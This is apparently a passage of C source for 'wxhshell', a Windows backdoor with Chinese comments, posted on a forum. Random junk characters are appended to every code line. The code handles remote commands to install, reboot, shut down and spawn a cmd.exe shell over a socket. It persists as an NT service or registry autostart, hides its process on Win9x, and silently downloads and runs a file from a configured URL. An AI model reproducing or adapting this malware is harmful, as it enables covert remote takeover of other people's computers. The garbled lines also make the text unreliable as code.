  ]{tnNr>mv  
  // 帮助 /FzO9'kj  
  case '?': { *rs@6BSj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u9 LP=g  
    break; xG802?2i/;  
  } PS*=MyNa  
  // 安装 fn6;  
  case 'i': { {9yv3[f3  
    if(Install()) T]&% KQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;m3i3D  
    else fc}G6P;3{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HM'P<<  
    break; 3['aK|qk.  
    }  y">_$  
  // 卸载 +/">]QJ  
  case 'r': { %t*_Rtz\o  
    if(Uninstall()) L|O'X4"&_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qktj  
    else $d<vPpJ3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ek0zFnb[Gx  
    break; }|MPQy  
    } b4l=Bg"  
  // 显示 wxhshell 所在路径 SGuR-$U`)  
  case 'p': { gBF2.{"^  
    char svExeFile[MAX_PATH]; '\v mm>  
    strcpy(svExeFile,"\n\r"); fjc8@S5x9j  
      strcat(svExeFile,ExeFile); z_)`='&n  
        send(wsh,svExeFile,strlen(svExeFile),0); jm|x=s3}h  
    break; --(e(tvf  
    } jgcI|?yL  
  // 重启 oCl $ 0x  
  case 'b': { QkEIV<T&)l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FXpI-?#E<  
    if(Boot(REBOOT)) PL+j;V(<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8T:?C~"  
    else { x.=Np\#\G-  
    closesocket(wsh); `s0`kp  
    ExitThread(0); RW4}n< 88  
    } \Lp|S:u  
    break; 3LxhQVx2  
    } ?`m#Y&Oi  
  // 关机 (\CT "u-  
  case 'd': { f)~j'e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9 -Y.8:A`  
    if(Boot(SHUTDOWN))  3M5+!H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K>!+5A$6i  
    else { NJ^H"FLS:  
    closesocket(wsh); h($XR+!#  
    ExitThread(0); 2ZZ%BV!s  
    } j. @CB`  
    break; f!3$xu5  
    } ]Wc:9Zb  
  // 获取shell 1@xmzTC  
  case 's': { byT@O:fL  
    CmdShell(wsh); z0@{5e$#Y  
    closesocket(wsh); oWJ0>)  
    ExitThread(0); ,Z2fVz~9  
    break; k&|#(1CFY  
  } GFq,Ca~  
  // 退出 oxs0)B  
  case 'x': { _$&C$q$1y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =) Aav!  
    CloseIt(wsh); +3;`4bW  
    break; cip"9|"  
    } {LwV&u(  
  // 离开 KdBE[A-1^M  
  case 'q': { NuL.l__W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }bU1wIW9I  
    closesocket(wsh); @-L4<=$J  
    WSACleanup(); 7GY3 _`  
    exit(1); Ne 2tfiI`  
    break; Thlqe?  
        } 91|0{1  
  } OA_WjTwDs  
  } f Fr[ &\[  
Q+Sx5JUR~  
  // 提示信息 vz\^Aa #fv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ng1{ NI+S  
}  BZ'63  
  } 6k1;62Ntk  
kYwV0xQ  
  return; a#U2y"  
} T-;|E^  
GN&-`E]-  
// shell模块句柄 qs9q{n-Aj  
int CmdShell(SOCKET sock)  T:~c{S4&  
{ l r16*2.  
STARTUPINFO si; G_5uO58  
ZeroMemory(&si,sizeof(si)); ^lI>&I&1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }K rQPg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,Q7W))j  
PROCESS_INFORMATION ProcessInfo; 5a0&LNm  
char cmdline[]="cmd"; KOYU'hw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cft'%IEs  
  return 0; >Y3ZK{b  
} &8w MGahp  
;5ANw"Dq  
// 自身启动模式 vVA)x~^  
int StartFromService(void) :n%KHen3\  
{ '}F=U(!  
typedef struct j9voeV|7  
{ >EVY,  
  DWORD ExitStatus; EG7.FjnVu  
  DWORD PebBaseAddress; s<GR ?  
  DWORD AffinityMask; j\/Rjn+:[  
  DWORD BasePriority; "DpgX8lG_  
  ULONG UniqueProcessId; D^\gU-8M  
  ULONG InheritedFromUniqueProcessId; rV5QKz6'  
}   PROCESS_BASIC_INFORMATION; gwAZ2w  
[M;B 9-2$  
PROCNTQSIP NtQueryInformationProcess; PQ}owEJ2eM  
eG\|E3Cb9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rAuv`.qEV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r_p4pxs  
9i8 ~  
  HANDLE             hProcess; 54^2=bp  
  PROCESS_BASIC_INFORMATION pbi; OG!+p}yD]  
%UO ;!&K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z(~v{c %<  
  if(NULL == hInst ) return 0; dPVl\<L1  
HZ_,f"22  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M%aA1!@/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E U# M.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hFiJHV  
lk(q>dvK  
  if (!NtQueryInformationProcess) return 0; mO?yrM *  
saPg2N,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  f^vz  
  if(!hProcess) return 0; @i9eH8lT  
ah8xiABa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d i;Fj  
5GHW~q!Zo\  
  CloseHandle(hProcess); FN>ns,  
V 5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K+F]a]kld  
if(hProcess==NULL) return 0; ywCF{rRd  
LQr+)wI  
HMODULE hMod; fRow@DI\  
char procName[255]; i& phko}  
unsigned long cbNeeded; 1dE |q{  
asLvJ{d8s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k X1#+X  
}Q<c E$c  
  CloseHandle(hProcess); q_G O;-b{  
IXJ6w:E  
if(strstr(procName,"services")) return 1; // 以服务启动 :wcv,YoSG  
/,`40^U}  
  return 0; // 注册表启动 C5ia9LpRX  
} V`,tu `6  
9Q.}jV  
// 主模块 ww^!|VVa  
int StartWxhshell(LPSTR lpCmdLine) w~lxWgaY7  
{ aR@s. ll  
  SOCKET wsl; o;^k"bo6   
BOOL val=TRUE; $!m (S&f  
  int port=0; wpW3%r;9  
  struct sockaddr_in door; IMF9eS{L  
'xn3g;5  
  if(wscfg.ws_autoins) Install(); Q"Ur*/-U  
s6F^z\6  
port=atoi(lpCmdLine); O"c@x:i  
ymr#OP$<S  
if(port<=0) port=wscfg.ws_port;  Xb'UsQ  
d8V)eZYXy~  
  WSADATA data; zF-M9f$_PY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aEJds}eE6)  
nUy2)CL[L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    0+P[0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e ab_"W   
  door.sin_family = AF_INET; ~ V:@4P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X v2u7T\  
  door.sin_port = htons(port); Lfj]Y~*z  
Ic,V ,#my  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O>~ozW &  
closesocket(wsl); V+yyy- /  
return 1; \y\@=j  
} 6.>l  
F%s'R 0l  
  if(listen(wsl,2) == INVALID_SOCKET) { q<2b,w==  
closesocket(wsl); YH .+(tNv  
return 1; YYzl"<)c  
} zo{WmV7[|  
  Wxhshell(wsl); 9yA? 82)E  
  WSACleanup(); "A0J~YvYWJ  
.on}F>3k$  
return 0; {rE]y C^  
+ NpH k  
} Oj`I=O6  
CdFr YL+F  
// 以NT服务方式启动 g~Hmka_fD1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sm1(I7y  
{ ^@a|s Sb  
DWORD   status = 0; 2uajK ..b  
  DWORD   specificError = 0xfffffff; *H''.6  
PL6f**{-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~ v21b?   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =Kh1 HU.F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ' 6#en9{L  
  serviceStatus.dwWin32ExitCode     = 0; Kz`g Q|S  
  serviceStatus.dwServiceSpecificExitCode = 0; { :~&#D  
  serviceStatus.dwCheckPoint       = 0; #383W)n  
  serviceStatus.dwWaitHint       = 0; ? 016  
N%K%0o-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?--EIA8mfp  
  if (hServiceStatusHandle==0) return; nsM :\t+ p  
{WYHT6Z  
status = GetLastError(); z:+fiJB_  
  if (status!=NO_ERROR) gWZzOH*  
{ Ce%fz~*b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4a6WQVS  
    serviceStatus.dwCheckPoint       = 0; G&?,L:^t  
    serviceStatus.dwWaitHint       = 0; NZh\{!  
    serviceStatus.dwWin32ExitCode     = status; g /v"E+  
    serviceStatus.dwServiceSpecificExitCode = specificError;  $w@0}5Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m0(]%Kdw  
    return; }wkZ\q[  
  } @$bEY#*C  
[ {|868  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pMy];9SvW  
  serviceStatus.dwCheckPoint       = 0; x6BO%1  
  serviceStatus.dwWaitHint       = 0; 1P17]j2C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9R6]OL)p  
} 2 &+Nr+P  
+l8`oQuG  
// 处理NT服务事件,比如:启动、停止 HAtf/E]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vw~st1",[  
{ wm<`0}  
switch(fdwControl) / ~\ I  
{ m+7/ebj{A  
case SERVICE_CONTROL_STOP: #3WKm*T/  
  serviceStatus.dwWin32ExitCode = 0; {0t-Q k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &P,z$H{o@  
  serviceStatus.dwCheckPoint   = 0; B{^ojV;]m  
  serviceStatus.dwWaitHint     = 0; j$u=7Z&E  
  { [G=+f6 a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TjswB#  
  } <8[y2|UBt  
  return; XX:?7:j}[8  
case SERVICE_CONTROL_PAUSE: f'>270pH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [Jjb<6[o  
  break; ;94e   
case SERVICE_CONTROL_CONTINUE: )A 6 eD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |8:IH@K*  
  break; |'R^\M Q  
case SERVICE_CONTROL_INTERROGATE: 6|O2i j-J  
  break; zx7g5;J  
}; 3cH`>#c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Q/Kp*a  
}  erW[q  
mTsl"A>  
// 标准应用程序主函数 {@7{!I|eD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s,*kWy"jp  
{ 0kp#+&)+  
>cE@m=[  
// 获取操作系统版本 6_.K9;Gd  
OsIsNt=GetOsVer(); eInx\/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); * t-Wol  
2 u{"R  
  // 从命令行安装 [!k#au+#c  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4-wCk=I  
l^$8;$Rq  
  // 下载执行文件 d;-/F b{4  
if(wscfg.ws_downexe) { 7 z#Xf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zc<fopih  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0<{zW%w  
} a0]n>C`~  
a1 I"Sh  
if(!OsIsNt) { 3S97hn{|=  
// 如果时win9x,隐藏进程并且设置为注册表启动 M]RbaXZ9  
HideProc(); p903 *F^[,  
StartWxhshell(lpCmdLine); rpZ^R}B%*v  
} Gd]!D~[1  
else x^J}]5{0  
  if(StartFromService()) V:wx@9m)  
  // 以服务方式启动 Bn5O;I13  
  StartServiceCtrlDispatcher(DispatchTable); Y\sSW0ZX  
else mg)ZoC  
  // 普通方式启动 %v_w"2x;  
  StartWxhshell(lpCmdLine); !&ly :v!  
JQp::,g  
return 0; ,vnHEY&  
}
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只看该作者 1 发表于: 2006-10-10
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